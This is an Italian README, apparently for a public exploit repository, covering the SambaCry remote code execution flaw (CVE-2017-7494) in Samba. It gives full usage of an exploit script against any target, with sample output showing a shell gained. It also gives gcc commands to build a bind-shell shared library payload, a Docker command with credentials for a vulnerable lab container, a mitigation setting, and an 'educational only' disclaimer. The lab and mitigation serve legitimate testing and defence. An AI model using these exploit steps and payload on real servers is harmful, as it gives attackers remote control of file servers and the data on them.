
Exploit SambaCry e container vulnerabile (CVE-2017-7494)
Samba è una re-implementazione software libero del protocollo di rete SMB/CIFS. Samba fornisce servizi di file e stampa per vari client Microsoft Windows e può integrarsi con un dominio Microsoft Windows Server, sia come Domain Controller (DC) che come membro del dominio. A partire dalla versione 4, supporta Active Directory e i domini Microsoft Windows NT.
Samba nella versione 4.5.9 e precedenti è vulnerabile a una vulnerabilità di esecuzione remota di codice chiamata SambaCry. La CVE-2017-7494 consente a utenti remoti autenticati di caricare una libreria condivisa in una cartella condivisa scrivibile ed eseguire attacchi di esecuzione di codice per prendere il controllo dei server che ospitano servizi Samba vulnerabili.
Samba 3.x dopo la 3.5.0 e 4.x prima della 4.4.14, 4.5.x prima della 4.5.10 e 4.6.x prima della 4.6.4 non limita il percorso del file quando si utilizzano named pipe di Windows, il che consente a utenti remoti autenticati di caricare una libreria condivisa in una cartella condivisa scrivibile ed eseguire codice arbitrario tramite una named pipe appositamente predisposta.

Per eseguire correttamente questo exploit avrai bisogno di una versione patchata della libreria Python impacket e delle altre dipendenze presenti nel file dei requisiti. Per installarle tutte, esegui
pip install -r requirements.txt
Se usi Python3, devi eseguire questo software in un ambiente virtuale. Segui questi passaggi:
pip install virtualenv
virtualenv -p /usr/bin/python2.7 venv # o ovunque risieda il tuo python2.7
source venv/bin/activate.sh
Dopo di che puoi eseguirlo nel seguente modo:
./exploit.py -t <target> -e libbindshell-samba.so \
-s <share> -r <location>/libbindshell-samba.so \
-u <user> -p <password> -P 6699
Ad esempio, se vuoi sfruttare l'ambiente vulnerabile incluso in questo repository, esegui
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
E otterrai il seguente output
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>
Argomenti dell'exploit spiegati:
usage: exploit.py [-h] -t TARGET -e EXECUTABLE -s REMOTESHARE -r REMOTEPATH
[-u USER] [-p PASSWORD] [-P REMOTESHELLPORT]
-t o —target - Imposta l'host remoto da attaccare.-e o —executable - Imposta il percorso sul tuo sistema locale in cui si trova la libreria che vuoi caricare.-s o —remoteshare - Condivisione remota in cui il file verrà copiato.-r o —remotepath - Dove si trova il file sul sistema remoto.-u o —user - Nome utente con cui effettuare il login.-p o —password - Password da usare per il login.-P o —remoteshellport - Se stai usando un payload di tipo bind shell, connettiti al payload dopo che l'attacco è stato eseguito.Per simulare questo attacco puoi usare un'immagine Docker vulnerabile. Se hai docker installato, esegui semplicemente
docker run --rm -it \
-p 137-139:137-139 \
-p 445:445 -p 6699:6699 \
vulnerables/cve-2017-7494
Se vuoi accedere, usa le seguenti credenziali.
sambacrynosambanocryPuoi trovare un esempio di payload bind shell per questo exploit nel file bindshell-samba.c. Modificalo come ritieni necessario. Dopodiché, per generare un nuovo binario, usa:
gcc -c -fpic bindshell-samba.c
gcc -shared -o libbindshell-samba.so bindshell-samba.o
Samba 3.x dopo la 3.5.0 e 4.x prima della 4.4.14, 4.5.x prima della 4.5.10 e 4.6.x prima della 4.6.4
Aggiungi il parametro:
nt pipe support = no
alla sezione [global] del tuo smb.conf e riavvia smbd. Questo impedisce ai client di accedere a qualsiasi endpoint di named pipe. Nota che questo può disabilitare alcune funzionalità previste per i client Windows.
Considera anche di montare il filesystem usato da samba per la sua condivisione scrivibile con l'opzione noexec.
Questo o il programma precedente è SOLO per scopo EDUCATIVO. Non usarlo senza permesso. Vale il solito disclaimer, soprattutto il fatto che io (opsxcq) non sono responsabile per eventuali danni causati dall'uso diretto o indiretto delle informazioni o delle funzionalità fornite da questi programmi. L'autore o qualsiasi provider Internet NON si assume alcuna responsabilità per il contenuto o l'uso improprio di questi programmi o di qualsiasi loro derivato. Usando questi programmi accetti il fatto che qualsiasi danno (perdita di dati, crash di sistema, compromissione del sistema, ecc.) causato dall'uso di questi programmi non è responsabilità di opsxcq.